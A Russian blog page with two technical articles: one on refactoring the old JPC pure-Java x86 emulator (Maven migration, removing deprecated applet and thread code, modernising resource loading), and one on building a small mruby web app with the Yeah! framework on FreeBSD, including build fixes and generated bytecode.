Серия «Жестокие эксперименты»

4

Утренний рефакторинг с Дженной Ортегой*

Серия Жестокие эксперименты

На относительно простом примере показываю как можно сделать программу «снова великой».

*разумеется это нейросетевая <a href="https://pikabu.ru/story/utrenniy_refaktoring_s_dzhennoy_ortegoy_14170233?u=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FJenna_Ortega&t=%D0%94%D0%B6%D0%B5%D0%BD%D0%BD%D0%B0&h=4148ad1f9613233554980f7f321ffa09505123dc" title="https://en.wikipedia.org/wiki/Jenna_Ortega" target="_blank" rel="nofollow noopener">Дженна</a> а не реальная, которая про рефакторинг ничего не знает.

*разумеется это нейросетевая Дженна а не реальная, которая про рефакторинг ничего не знает.

Исходный код отрефакторенной версии выложен на Github.

Задача

Допустим есть некий софт, созданный еще «при царе Горохе» неким гордым но умным одиночкой, которого с тех пор никто не видел. Софт живой и с пользователями, которые приносят прибыль, поэтому его надо как‑то развивать и поддерживать.

В попытке расширить команду разработки, вы начинаете нанимать новых разработчиков, но раз за разом происходит одна и та же ситуация:

проработав месяц-два, нанятые программисты в ужасе убегают в закат.

Кто‑то при увольнении намекает на причины такого поступка, в диапазоне от «ваш проект попахивает» до надо «срочно все переписать». После примерно десятого убежавшего программиста, вы наконец начинаете задумываться, что возможно с проектом действительно что‑то не так и стоит провести этот самый «рефакторинг».

Так это обычно начинается.

Образец

В качестве образца для этой статьи был взят один интересный но малоизвестный широкой публике проект JPC:

The fast x86 PC emulator in 100% pure Java

Самый настоящий эмулятор старого x86-компьютера, реализованный без всяких нативных частей — на чистой Java!

Как-то так это выглядит у автора(ов) в работе:

Сетевой DOOM на двух эмуляторах под Linux

Сетевой DOOM на двух эмуляторах под Linux

DOS и знаменитый "Принц Персии".

DOS и знаменитый "Принц Персии".

Проект старый, но и интересный:

Read more about JPC - since it's launch at JavaOne 2007, JPC can now boot many more operating systems (including graphical linuxes) and it's much faster.

Не очень большой (~6500 файлов с исходным кодом), но имеет стадию «внутренней генерации» — часть исходного кода создана не вручную а путем запуска кодогенератора по метаданным, что довольно часто встречается у больших проектов с историей, причем на любом языке.

Еще к сожалению JPC немного заброшен, что для статьи только в плюс поскольку добавляет реалистичности — именно в таком состоянии чаще всего пребывают проекты, которые просят «привести в чувство».

Текущее состояние

После переезда проекта на Github, список коммитов выглядит следующим образом:

Мягко говоря негусто.

Мягко говоря негусто.

Никаких тестов в проекте нет, по всей видимости тестировалось все вручную с помощью молитвы, еще судя по исходному коду — далеко не весь функционал является рабочим, что также характерно для проектов в «пред‑рефакторинговом» состоянии.

Думаю теперь очевидно почему для этой статьи был выбран именно JPC — несмотря на редкость решаемой задачи, для рефакторинга это самый типичный клиент.

Собирается сей чудо-проект с помощью.. Makefile, что для мира Java является дичью и извращением редкостью:

make application

Примерно как собирать проект на QT с помощью Gradle или (еще лучше) — sbt.

Предложите как-нибудь коллегам и посмотрите на реакцию, некоторые точно перестанут с вами здороваться за руку.

Для сборки необходимо указать путь к JDK в переменной PATH, при этом сборка проходит успешно даже с последними версиями (автор использовал OpenJDK 21).

Готовое приложение JPCApplication.jar появится в корне проекта после завершения сборки, но на этом хорошие новости заканчиваются:

Собранное приложение отказывается запускаться, что мы исправим чуть ниже.

Стадия первая: новый скелет

Первым делом, как и в реальном боевом проекте, необходимо избавиться от любого «самопала», задействованного при сборке. Причина, почему этот шаг критически важен на самом деле не так очевидна:

статические анализаторы — главный иструмент рефакторинга, крепко привязаны к структуре проекта и стандартным средствам сборки

Разумеется существуют варианты и с произвольной структурой проекта, но эффективность рефакторинга будет заметно ниже. Поэтому автор сделал стандартный (для своей практики) «финт ушами»:

перевел сборку проекта на Apache Maven, максимально широко поддерживаемый средствами анализа кода, CI-системами и средами разработки.

Реализовать такую миграцию в данном случае оказалось очень просто, поскольку JPC совсем не использует внешние библиотеки. Все что я сделал — раскидал ресурсы и исходный код в стандартную для Maven структуру каталогов:

Исходный код был перенесен из каталога src в src/main/java, ресурсы — в src/main/resources. Также был добавлен очень простой pom.xml, описывающий минимальные шаги сборки проекта:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.x0x08.samples</groupId>
<artifactId>jpc-refactored</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.13.0</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.4.2</version>
<configuration>
<archive>
<manifest>
<mainClass>
org.jpc.j2se.JPCApplication
</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>

Обратите внимание на куда более упрощенную генерацию манифеста:

<manifest>
<mainClass>
org.jpc.j2se.JPCApplication
</mainClass>
</manifest>

Указывается только стартовый класс, используемый для запуска приложения, а дата сборки и название будут проставляться автоматически самим Maven.

В оригинальной сборке происходит добавление еще и атрибута, отвечающего за параметры запуска «по-умолчанию»:

echo "Default-Args: -fda mem:resources/images/floppy.img -hda mem:resources/images/dosgames.img -boot fda" >> jpc.manifest

Это было убрано, поскольку точно такой же параметр запуска зашит еще и в код:

Наследие «былых времен», которое также достаточно часто встречается в устаревших проектах — во времена Java 1.5 и апплетов было модным использовать собственные атрибуты в манифесте.

Стадия вторая: удаление ненужного

Как в практически любом долгоживущем проекте, в JPC есть свои «внутренние утилиты» — отдельные программы, написанные для задач внутренней автоматизации.

Это та самая «грязная рабочая поверхность», которую не видит конечный пользователь.

При проведении рефакторинга, трогать внутренние утилиты стоит в последнюю очередь и в самом крайнем случае, поскольку правильность их работы проверять тяжело (ни тестов ни документации для внутренних утилит обычно нет в природе), зато они сильно влияют на общую работоспособность проекта.

В JPC внутренние утилиты реализованы в виде отдельных классов в пакете «tools» и нескольких шелл-скриптов в корне проекта.

И то и другое я просто не стал переносить в новую версию, также я убрал часть исходного кода эмулятора, отвечающего за отладку (пакет org.jpc.debugger) — по той же самой причине.

Что потребовало правок в классе org.jpc.emulator.PC.java:

был убран импорт класса org.jpc.debugger.LinearMemoryViewer а используемая статичная функция translateLinearAddressToInt перенесена в класс PC.

Все эти действия позволили сократить кодовую базу проекта практически вдвое, что сильно упростило следующий шаг рефакторинга.

Стадия третья: критические проблемы

Наконец мы подошли непосредственно к самому рефакторингу, который я буду проводить с помощью среды разработки Intellij Idea.

Первый запуск анализатора дает следующий результат:

24 критических ошибки и ~ 37 тысяч предупреждений — не так уж плохо, по сравнению с тем что бывает на свете.

Смотрим глубже и видим, что все 24 ошибки — действительно самые критичные, поскольку из-за них проект может перестать собираться в самом ближайшем будущем:

Так что эти места стоит рефакторить в первую очередь, пока проект хотя-бы собирается из исходников.

Есть и хорошая новость:

Как видно из скриншота выше, большая часть критичных ошибок гнездится в классе JPCApplet, который используется для запуска приложения в режиме Java-апплета — ныне устаревшей технологии, когда-то работавшей с помощью плагина для браузера.

Поскольку плагин более официально не поддерживается — вся технология приказала долго жить и у обычных пользователей не встречается, так что класс можно удалить.

Но все несколько сложнее, поскольку еще есть вложенные классы, один из которых используется снаружи (org.jpc.j2se.JPCApplication):

JPCApplet.PlayPausePanel pp = new JPCApplet.PlayPausePanel(this);

Я просто перенес этот класс по месту использования, что позволило наконец удалить JPCApplet из проекта целиком.

Получилось минус 13 критических ошибок.

Еще один источник проблем — класс LinkBorder также можно удалить, поскольку он использовался лишь из удаленного JPCApplet.

Что дало еще минус три критических ошибки.

Дальше смотрим класс org.jpc.emulator.peripheral.Mixer, который забит предупреждениями от анализатора буквально через каждую строчку, однако вносить массовые правки пока не стоит — «всемогущая» Idea временами ошибается и это именно такой случай.

Ограничимся лишь одним методом:

private void ShowVolume(String name,FloatRef vol0,FloatRef vol1) {
System.out.printf("%-8s %3.0f:%-3.0f %+3.2f:%-+3.2f \n",new Object[] {name,
new Float(vol0.value*100),new Float(vol1.value*100),
new Float(20*Math.log(vol0.value)/Math.log(10.0f)),new Float(20*Math.log(vol1.value)/Math.log(10.0f))}
);
}

Анализатор ругается (в первую очередь) на конструктор new Float(), поскольку его прямое использование объявлено устаревшим, а в новых версиях Java стоит использовать Float.valueOf() в качестве замены.

Но как только вы замените конструктор, анализатор подскажет еще несколько оптимизаций, так что конечный вариант будет достаточно сильно отличаться:

System.out.printf("%-8s %3.0f:%-3.0f %+3.2f:%-+3.2f \n",
name,
vol0.value * 100, vol1.value * 100,
20*Math.log(vol0.value)/Math.log(10.0f),
20*Math.log(vol1.value)/Math.log(10.0f));

Следующий класс для изучения org.jpc.j2se.PCMonitorFrame, где анализатор ругается на два места с критическими ошибками.

Первое место характерно для устаревших проектов и встретится еще не раз:

catch (AccessControlException e)
{
LOGGING.log(Level.WARNING, "Not able to add some components to frame.", e);
}

Дело в том что класс ошибки, которая тут обрабатывается объявлен устаревшим в новых версиях:

'java. security. AccessControlException' is deprecated since version 17 and marked for removal

Поскольку исключение AccessControlException в новых версиях не выбрасывается, весь блок try-catch можно спокойно удалить.

Следующее место, код в этом же классе:

if (runner.isAlive())
{
try
{
runner.stop();
}
catch (SecurityException e) {}
}

Ругается анализатор на уникальный метод stop(), который был отмечен как устаревший еще до того как я начал писать на Java:

'stop()' is deprecated since version 1.2 and marked for removal

Примерно до версии 1.8 использование данного метода еще можно было как‑то оправдать наличием устаревших библиотек, в нынешних реалиях этот метод — просто еще один способ «выстрелить себе в ногу»:

Stopping a thread causes it to unlock all the monitors that it has locked.

Так что в коде использование этого метода точно стоит заменить на стандартный .interrupt() :

if (runner.isAlive())
{
runner.interrupt();
}

Блок try-catch также можно спокойно убрать, поскольку SecurityException не выбрасывается в новых версиях Java при попытке остановки нити.

На этом все критические проблемы в проекте решены и получен минимальный практический смысл от всей затеи:

убраны места, которые могут сломать сборку проекта в новых версиях Java

Стадия четвертая: ошибки выполнения

Пришло время наконец попробовать запустить нашего «франкенштейна».

Сборка разумеется завершится успешно (не зря же старались), но при запуске будет выбрасываться все та же ошибка поиска ресурсов:

В оригинальной версии JPC, часть ресурсов (например образы биоса) загружались только из jar‑файла, часть (образы дисков) — только снаружи, из каталога resources, при этом каталог с ресурсами был общим.

Сию дичь необходимо пресечь и сделать в более адекватном стиле, например как это реализовано в движке знаменитого Quake:

сначала ищем внешний файл, если не найден — ищем в ресурсах, если не найден в ресурсах — падаем с ошибкой

За чтение образа BIOS отвечает вот такой метод в классе org.jpc.emulator.motherboard.Bios:

private static final byte[] getBiosData(String image) throws IOException {
InputStream in = Bios.class.getResourceAsStream(image);
if (in == null) {
throw new IOException("resource not found: " + image);
}
try {
ByteArrayOutputStream bout = new ByteArrayOutputStream();

while (true) {
int ch = in.read();
if (ch < 0) {
break;
}
bout.write((byte) ch);
}

return bout.toByteArray();
} finally {
try {
in.close();
} catch (IOException e) {
}
}
}
}

В принципе за такую реализацию уже можно начинать бить, спасает лишь факт, что столь идиотсткое побайтовое чтение работает исключительно с ресурсами, которые уже находятся в памяти.

Конечный вариант после всех чисток выглядит так:

private static byte[] getBiosData(String image) throws IOException {

File f = new File(image);
if (f.exists() && f.isFile() && f.canRead())
return Files.readAllBytes(f.toPath());

f = new File("resources",image);
if (f.exists() && f.isFile() && f.canRead())
return Files.readAllBytes(f.toPath());

final URL u = Bios.class.getResource(image);
if (u == null)
throw new IOException("resource (bios) not found: %s".formatted(image));

try (InputStream in = u.openStream()) {
return in.readAllBytes();
}
}

Логика переделана на возможности современной Java 17, поэтому кода стало сильно меньше, также были добавлены проверки на наличие ресурса:

  • по полному пути,

  • по частичному (предполагается что файл находится в каталоге resources),

  • поиск внутри jar приложения.

Но при следующей попытке запуска получаем еще одно исключение, уже в другом месте:

Причиной является искусственная проверка:

if (!(cl instanceof URLClassLoader))
throw new IllegalStateException();

Когда-то давно системный загрузчик классов действительно наследовался от URLClassLoader, так что проверка бы отработала.

Несмотря на то, что подобные искусственные проверки служат вообщем‑то хорошей цели раннего обнаружения проблем, временами разработчики перебарщивают и пытаются контролировать то что контролю не поддается.

Однако одним лишь удалением проверки дело не ограничилось — необходимо почистить еще один метод, реализующий «закат солнца вручную»:

private static final Iterator<String> getResources(String directory)
{
ClassLoader context = Thread.currentThread().getContextClassLoader();

List<String> resources = new ArrayList<String>();

ClassLoader cl = JPCApplication.class.getClassLoader();
if (!(cl instanceof URLClassLoader))
throw new IllegalStateException();
URL[] urls = ((URLClassLoader) cl).getURLs();

int slash = directory.lastIndexOf("/");
String dir = directory.substring(0, slash + 1);
for (int i=0; i<urls.length; i++)
{
if (!urls[i].toString().endsWith(".jar"))
continue;
try
{
JarInputStream jarStream = new JarInputStream(urls[i].openStream());
while (true)
{
ZipEntry entry = jarStream.getNextEntry();
if (entry == null)
break;
if (entry.isDirectory())
continue;

String name = entry.getName();
slash = name.lastIndexOf("/");
String thisDir = "";
if (slash >= 0)
thisDir = name.substring(0, slash + 1);

if (!dir.equals(thisDir))
continue;
resources.add(name);
}

jarStream.close();
}
catch (IOException e) { e.printStackTrace();}
}
InputStream stream = context.getResourceAsStream(directory);
try
{
if (stream != null)
{
Reader r = new InputStreamReader(stream);
StringBuilder sb = new StringBuilder();
char[] buffer = new char[1024];
try
{
while (true)
{
int length = r.read(buffer);
if (length < 0)
{
break;
}
sb.append(buffer, 0, length);
}
} finally
{
r.close();
}

for (String s : sb.toString().split("\n"))
{
if (context.getResource(directory + s) != null)
{
resources.add(s);
}
}
}
}
catch (IOException e)
{
LOGGING.log(Level.INFO, "Exception reading images directory stream", e);
}

return resources.iterator();
}

Тут происходит поиск доступных образов дисков путем последовательного перебора всех файлов внутри .jar с приложением.

С учетом того что .class файлов внутри ~6500 — такое решение мягко говоря «не оптимально».

Вообще говоря любой поиск ресурсов через перебор во время работы приложения является медленным, это и есть основная причина медленного запуска любого приложения на (например) Spring Boot.

Поскольку в проекте используется очень небольшое количество образов диска и нет вариантов по резкому увеличению их количества, я просто зашил названия в код:

private static final String[] IMAGES = {
"images/dosgames.img",
"images/floppy.img",
"images/linux.img",
"images/odin070.img",
};

private static Iterator<String> getResources(String directory)
{
final List<String> resources = new ArrayList<String>
(Arrays.stream(IMAGES).toList());
final File f = new File(directory);

if (!f.exists() || !f.isDirectory()) {
return resources.iterator();
}

final File[] files = f.listFiles();

if (files == null) {
return resources.iterator();
}
for (File ff: files) {
resources.add(directory + ff.getName());
}

return resources.iterator();
}

Метод getResources() используется для отображения списка доступных образов дисков через меню приложения, все внутренние образы (зашитые в.jar) добавляются в этот список автоматически.

После столь примитивной правки, приложение стало запускаться визуально быстрее даже на мощном современном ноутбуке, так что не стоит недооценивать силу простых решений ;)

Хотя всех правок выше оказалось недостаточно, следующая остановка — класс org.jpc.support.ArrayBackedSeekableIODevice, который (внезапно) играет ключевую роль в проекте.

Метод configure() отвечает непосредственно за загрузку образов дисков и дискет:

public void configure(String spec) throws IOException
{
resource = spec;
imageOffset = 0;

InputStream in = ArrayBackedSeekableIODevice.class.getClassLoader().getResourceAsStream(resource);
if (in == null) {
LOGGING.log(Level.SEVERE, "resource not found: {0}", resource);
throw new IOException("resource not found: " + resource);
}
try {
byte[] buffer = new byte[1024];
ExposedByteArrayOutputStream bout = new ExposedByteArrayOutputStream(32*1024);

while (true) {
int read = in.read(buffer);
if (read < 0)
break;
bout.write(buffer, 0, read);
}

imageData = bout.getBuffer();
length = bout.getPosition();
} catch (IOException e) {
LOGGING.log(Level.SEVERE, "could not load file", e);
throw e;
} finally {
try {
in.close();
} catch (IOException e) {
}
}
}

Переделываем с учетом современных реалий:

public void configure(String spec) throws IOException {
resource = spec;
imageOffset = 0;

File f = new File(spec);
if (f.exists() && f.isFile() && f.canRead()) {
imageData = Files.readAllBytes(f.toPath());
length = imageData.length;
return;
}

f = new File("resources",spec);
if (f.exists() && f.isFile() && f.canRead()) {
imageData = Files.readAllBytes(f.toPath());
length = imageData.length;
return;
}
final URL u = ArrayBackedSeekableIODevice.class.getResource(spec);
if (u == null)
throw new IOException("resource (image) not found: %s"
.formatted(spec));

try (InputStream in = u.openStream()) {
imageData = in.readAllBytes();
length = imageData.length;
}
}

Тут тоже три последовательные проверки на поиск образа диска и использование современного API для минимизации кодовой базы.

Эта доработка оказалась финальной и наконец можно успешно запустить эмулятор:

java -jar target/jpc-refactored-1.0-SNAPSHOT.jar -hda src/main/resources/images/linux.img

Будет запущен Qemu Linux Test Distribution:

Или так:

java -jar target/jpc-refactored-1.0-SNAPSHOT.jar -fda mem:images/odin070.img

запустится FreeDOS ODIN:

На этой стадии была проведена самая настоящая «коммерческая оптимизация» — доведен до ума функционал актуальный конечным пользователям.

Это уже не стандартные сказки про «технический долг» и «плохую архитектуру», а вполне себе осязаемый результат, который можно потрогать.

Так что вас за такое-то скотство, проведенное с рабочим проектом уже точно не уволят ;)

Стадия пятая: массовые правки

Все описанное выше — обязательные базовые части, без которых рефакторинг вообще не может состояться как согласованный с бизнесом и оплаченный процесс. Но можно зайти дальше — в действительно рисковую зону, где ваши действия могут иметь не всегда предсказуемые последствия:

массовые и сквозные правки исходного кода, во всем проекте целиком

Рабочая область выглядит как-то так:

Собственно все «желтенькое» на скриншоте ниже — места для рефакторинга, заботливо подсказанные средой разработки:

К сожалению на практике все несколько сложнее чем подсказывает Idea и просто нажимать «Alt + Shift + Enter» на каждую подсказку не стоит:

Все потому, что в проекте активно используется Reflection API для загрузки и обращения к методам класса необычными способами:

try {
Method valueOf = type.getMethod("valueOf", String.class);
return valueOf.invoke(type, value);
} catch (NoSuchMethodException e) {
System.err.println(type + " :No suitable method");
}

Что сводит анализаторы исходного кода с ума, поэтому примерно половина методов в проекте десктоп-приложения, не использующего никакие IoC-контейнеры отмечено как неиспользуемые:

Скотство?

Конечно скотство, но и в реальных больших и старых проектах такое тоже будет в обязательном порядке — когда‑то использование Reflection API считалось модным и молодежным явлением, убрать которое "под капот" смогли только те самые IoC‑контейнеры вроде Spring.

Следующим примером кода, нуждающегося в массовой зачистке является использование анонимных классов:

Лямбды появились еще в Java 8 и с тех пор уже нет никакого здравого смысла их игнорировать — они здорово сокращают объем кода:

В любом legacy-проекте, особенно если это приложение для десктопа такого будет очень и очень много:

Следующий повод для массовых правок — прямой результат ручной разработки, без использования средств проверки и анализа кода:

Хороший пример, подсказанный анализатором:

Разумеется это не является критической проблемой, поскольку эти модификаторы ничего не делают, но таких мест очень много и в сумме они дают ненужное увеличение объема кодовой базы.

Следующие две проблемы — также частые гости устаревших проектов:

Точно также как и с ненужными модификаторами в интерфейсе, всего лишь занимают место и увеличивают объем кода.

Хотя пример выше это совсем уж старый код, поскольку метод Arrays.asList () появился еще в Java 7 — былинные времена далекого прошлого, как можно было его сохранить до сих пор — загадка.

Эпилог

Если вы никогда не видели JPC то стоит посмотреть, поскольку он в свое время несколько расширил мнение о возможности Java, в первую очередь в плане производительности — тема о которой много и сильно шутили еще 10 лет назад.

Ну а если перед вами стоит задача провести подобный рефакторинг — стадии с первой по четвертую фактически являются руководством к действию.

Массовые правки я бы с ходу делать не рекомендовал — очень уж высокие риски, что что‑то пойдет не так.

Еще в реальном проекте процесс рефакторинга скорее всего сильно затянется, поэтому вам придется делать промежуточные срезы и синхронизировать ваш рефакторинг с обычной разработкой, о чем стоит помнить до начала всего действа.

P.S.

Статья была опубликована на Хабре,  оригинал доступен в нашем блоге.

Показать полностью 25
8

Ruby и встраиваемые системы

Серия Жестокие эксперименты

Казалось бы, какое отношение «хипстерские скрипты для веб» могут иметь к жестким реалиям встариваемых систем, со всей их низкоуровневой работой и ограниченными ресурсами?

Увы, но реальность в очередной раз оказалась куда интересней предубеждений, так и появилась на свет эта статья.

Картинка для привлечения внимания, была <a href="https://pikabu.ru/story/ruby_i_vstraivaemyie_sistemyi_14168805?u=https%3A%2F%2Fwww.linux.org.ru%2Fgallery%2Fscreenshots%2F17359154&t=%D0%B2%D1%8B%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B0&h=9a8a66b46743b7807efe1138a0bf4288dbeeea6c" title="https://www.linux.org.ru/gallery/screenshots/17359154" target="_blank" rel="nofollow noopener">выложена</a> на ЛОР.

Картинка для привлечения внимания, была выложена на ЛОР.

Что это и зачем

Начну как обычно с цитаты:

mruby is the lightweight implementation of the Ruby language complying with part of the ISO standard. mruby can be linked and embedded within your application.

Словом, это такая особенная реализация языка Ruby, с упором на встраивание и встраиваемые системы — да да, тот самый «кровавый embedded», где царствует чистый C, ссылочная арифметика, malloc() и прочие кошмары и ужасы для современного разработчика.

И вдруг в этом царстве Аида появляетесь вы весь в белом и пишете что-то такое, высокоуровневое:

extend Yeah::DSL
set port: 3000

get '/hi/{name}' do |name|
"Привет #{name}"
end

ENV['SHELF_ENV'] = 'production'

puts "Запуск.."
__main__ [0]

И.. оно просто работает:

Запуск собранного бинарника. Обратите внимание на текст на русском.

Запуск собранного бинарника. Обратите внимание на текст на русском.

И даже вот так:

Ответ сервера в браузере. Обратите внимание на текст на русском.

Ответ сервера в браузере. Обратите внимание на текст на русском.

Круто?

Сколько там пудов соли нужно скушать, чтобы так просто работать с юникодом из чистого С, тем более в embedded среде?

Кстати вся эта «радость хипстера» еще и собирается в очень небольшой бинарник:

2 Мегабайта на все про все.

2 Мегабайта на все про все.

Внутри будет «все и сразу»:

MRuby, все используемые библиотеки и само приложение.

Хотя на ЛОРе заметили, что «640кб хватит на всех» это как‑то многовато будет, все же напомню что мы живем в мире копеечных 128Гб флешек и битва за каждый байт свободного места уже не так актуальна как 10 лет назад.

Вполне допускаю, что подобное приложение показывает веб‑интерфейс в вашем домашнем роутере, показывает меню в телевизоре или крутит рекламу в автобусе  — словом находит применение в большинстве мест, где используются встраиваемые системы.

Поддерживаемые платформы

К сожалению не удалось найти одним списком все поддерживаемые MRuby платформы, поэтому ограничусь только конкретными найденными примерами.

Из самого интересного:

разработка для Sega Dreamcast и Nintendo Wii, для POS-терминалов, встраивание в iOS приложения.

Ну и собственно встраиваемые системы:

  1. ESP32 , шаблон проекта находится вот тут.

Внешний вид платы <a href="https://pikabu.ru/story/ruby_i_vstraivaemyie_sistemyi_14168805?u=https%3A%2F%2Fwww.elecbee.com%2Fru-23470-ESP32-Development-Board-WiFi-bluetooth-Ultra-Low-Power-Consumption-Dual-Cores-ESP-32-ESP-32S-Board&t=ESP32&h=12a93a311822828b9c62c8f0ac3f4522cf8697f0" title="https://www.elecbee.com/ru-23470-ESP32-Development-Board-WiFi-bluetooth-Ultra-Low-Power-Consumption-..." target="_blank" rel="nofollow noopener">ESP32</a>.

Внешний вид платы ESP32.

  1. RP2040 (Raspberry Pi), пример проекта находится тут.

  2. PIC32, пример вот тут.

Тестовый проект

Поскольку «малинки» в очередной раз под рукой не оказалось, было решено реализовать тестовый проект на банальном x86 — была собрана вся цепочка разработки, включая фреймворки, был реализован «Hello world» в виде веб‑приложения, работающего на встроенном веб‑сервере.

Все манипуляции производились на неподдерживаемой никем и нигде FreeBSD, так что скорее всего описанных ниже проблем со сборкой в более обычном Linux не будет.

Для тестового проекта использовалось вот это «чудо»:

Yeah! is a DSL for quickly creating shelf applications in mruby with minimal effort

Если кратко, то это своеобразная попытка реализовать «мини‑Rails, работающий на мини‑Ruby». Вполне себе успешная, надо отметить.

А теперь самое важное:

Фреймворки для mruby представляют собой надстройку, которая в процессе собирает сам mruby и добавляет себя в собираемые бинарники.

Звучит сложно и выглядит страшно, но для embedded-среды является привычным делом.

Так что нам будет нужно получить бинарники mruby и mrbc с упакованным внутрь фреймворком yeah и всеми библиотеками, а затем использовать этот билд для сборки уже своего приложения.

Для сборки фреймворка Yeah! требуется внешний «большой» Ruby и rake, будут работать как 2.x так и 3.x версии.

Клонируем проект с фреймворком Yeah!:

git clone https://github.com/katzer/mruby-yeah.git

Поскольку по‑умолчанию собирается только компилятор mirbc, без интерактивной консоли (mirb) и интерпретатора (mruby), чего не хватит для нормальной разработки конечного приложения, добавляем в файл build_config.rb:

conf.gem :core => 'mruby-bin-mruby'
conf.gem :core => 'mruby-bin-mirb'
conf.gem :core => 'mruby-bin-mrbc'

И запускаем сборку:

rake compile

Эта команда автоматически скачает зависимые репозитории, в том числе нужную ветку самого mruby. На данной стадии у автора появлялись две ошибки.

Первая — про заголовочный файл mingw.h:

In file included from /opt/work/tmp/mruby-yeah/mruby/build/repos/host/mruby-r3/r3/src/memory.c:34:
/opt/work/tmp/mruby-yeah/mruby/build/repos/host/mruby-r3/r3/src/mman.h:15:10: fatal error: _mingw.h: No such file or directory
15 | #include <_mingw.h>
| ^~~~~~~~~~
compilation terminated.
rake aborted!

В файле mman.h есть вот такая строка:

/* All the headers include this file. */
#ifndef _MSC_VER
#include <_mingw.h>
#endif

Переменная _MSC_VER не задается при сборке на FreeBSD, поэтому срабатывает вариант по умолчанию — для Windows и MinGW. В качестве исправления, я просто закомментировал этот блок, не заморачиваясь дальнейшими изысканиями.

Вторая ошибка также достаточно банальна и происходит из-за разницы в реализации функции mmap:

/opt/work/tmp/mruby-yeah/mruby/build/repos/host/mruby-r3/r3/src/mman.h:52:9: error: conflicting types for 'mmap'; have 'void *(void *, size_t, int, int, int, OffsetType)' {aka 'void *(void *, long unsigned int, int, int, int, unsigned int)'}
52 | void* mmap(void *addr, size_t len, int prot, int flags, int fildes, OffsetType off);
| ^~~~
In file included from /opt/work/tmp/mruby-yeah/mruby/build/repos/host/mruby-r3/r3/src/memory.c:27:
/usr/include/stdio.h:444:10: note: previous declaration of 'mmap' with type 'void *(void *, size_t, int, int, int, __off_t)' {aka 'void *(void *, long unsigned int, int, int, int, long int)'}
444 | void *mmap(void *, size_t, int, int, int, __off_t);
| ^~~~
rake aborted!

В этом же файле mman.h заменяем:

void* mmap(void *addr, size_t len, int prot, int flags, int fildes, OffsetType off);

на:

void* mmap(void *addr, size_t len, int prot, int flags, int fildes, __off_t);

И повторно запускаем сборку.

Если сборка прошла успешно то в папке build/host/bin будут готовые бинарники:

ls ./mruby/build/host/bin/
mirb mrbc mruby
Теперь с их помощью запускаем сборку уже нашего тестового приложения:

/opt/work/mruby-yeah/mruby/build/host/bin/mrbc -Btest_symbol ~/test.rb

Это сгенерирует файл test.c с вот таким контентом:

#include <stdint.h>
#ifdef __cplusplus
extern
#endif
const uint8_t test_symbol[] = {
0x52,0x49,0x54,0x45,0x30,0x33,0x30,0x30,0x00,0x00,0x01,0x3e,0x4d,0x41,0x54,0x5a,
0x30,0x30,0x30,0x30,0x49,0x52,0x45,0x50,0x00,0x00,0x01,0x0c,0x30,0x33,0x30,0x30,
0x00,0x00,0x00,0xcd,0x00,0x01,0x00,0x05,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x3d,
0x1d,0x02,0x01,0x1f,0x02,0x00,0x2d,0x01,0x02,0x01,0x10,0x02,0x03,0x0e,0x03,0x0b,
0xb8,0x2d,0x01,0x04,0x10,0x51,0x02,0x00,0x57,0x03,0x00,0x2e,0x01,0x05,0x01,0x1d,
0x01,0x06,0x51,0x02,0x01,0x51,0x03,0x02,0x24,0x01,0x51,0x02,0x03,0x2d,0x01,0x07,
0x01,0x06,0x02,0x47,0x02,0x01,0x2d,0x01,0x08,0x01,0x38,0x01,0x69,0x00,0x04,0x00,
0x00,0x0a,0x2f,0x68,0x69,0x2f,0x7b,0x6e,0x61,0x6d,0x65,0x7d,0x00,0x00,0x00,0x09,
0x53,0x48,0x45,0x4c,0x46,0x5f,0x45,0x4e,0x56,0x00,0x00,0x00,0x0a,0x70,0x72,0x6f,
0x64,0x75,0x63,0x74,0x69,0x6f,0x6e,0x00,0x00,0x00,0x0e,0xd0,0x97,0xd0,0xb0,0xd0,
0xbf,0xd1,0x83,0xd1,0x81,0xd0,0xba,0x2e,0x2e,0x00,0x00,0x09,0x00,0x03,0x44,0x53,
0x4c,0x00,0x00,0x04,0x59,0x65,0x61,0x68,0x00,0x00,0x06,0x65,0x78,0x74,0x65,0x6e,
0x64,0x00,0x00,0x04,0x70,0x6f,0x72,0x74,0x00,0x00,0x03,0x73,0x65,0x74,0x00,0x00,
0x03,0x67,0x65,0x74,0x00,0x00,0x03,0x45,0x4e,0x56,0x00,0x00,0x04,0x70,0x75,0x74,
0x73,0x00,0x00,0x08,0x5f,0x5f,0x6d,0x61,0x69,0x6e,0x5f,0x5f,0x00,0x00,0x00,0x00,
0x33,0x00,0x03,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0e,0x34,0x04,0x00,
0x00,0x51,0x03,0x00,0x01,0x04,0x01,0x52,0x03,0x38,0x03,0x00,0x01,0x00,0x00,0x0d,
0xd0,0x9f,0xd1,0x80,0xd0,0xb8,0xd0,0xb2,0xd0,0xb5,0xd1,0x82,0x20,0x00,0x00,0x00,
0x4c,0x56,0x41,0x52,0x00,0x00,0x00,0x16,0x00,0x00,0x00,0x01,0x00,0x04,0x6e,0x61,
0x6d,0x65,0x00,0x00,0xff,0xff,0x45,0x4e,0x44,0x00,0x00,0x00,0x00,0x08,
};

Длинная "сопля" выше - ни что иное как готовый байткод mruby, записанный в виде статичного массива байт.

Параметр -Btest_symbol как нетрудно догадаться отвечает за название этого массива.

А вот так выглядит само приложение для запуска (файл test_stub.c):

#include <mruby.h>
#include <mruby/irep.h>
#include <test.c>

int
main(void)
{
mrb_state *mrb = mrb_open();
if (!mrb) { /* handle error */ }
mrb_load_irep(mrb, test_symbol);
mrb_close(mrb);
return 0;
}

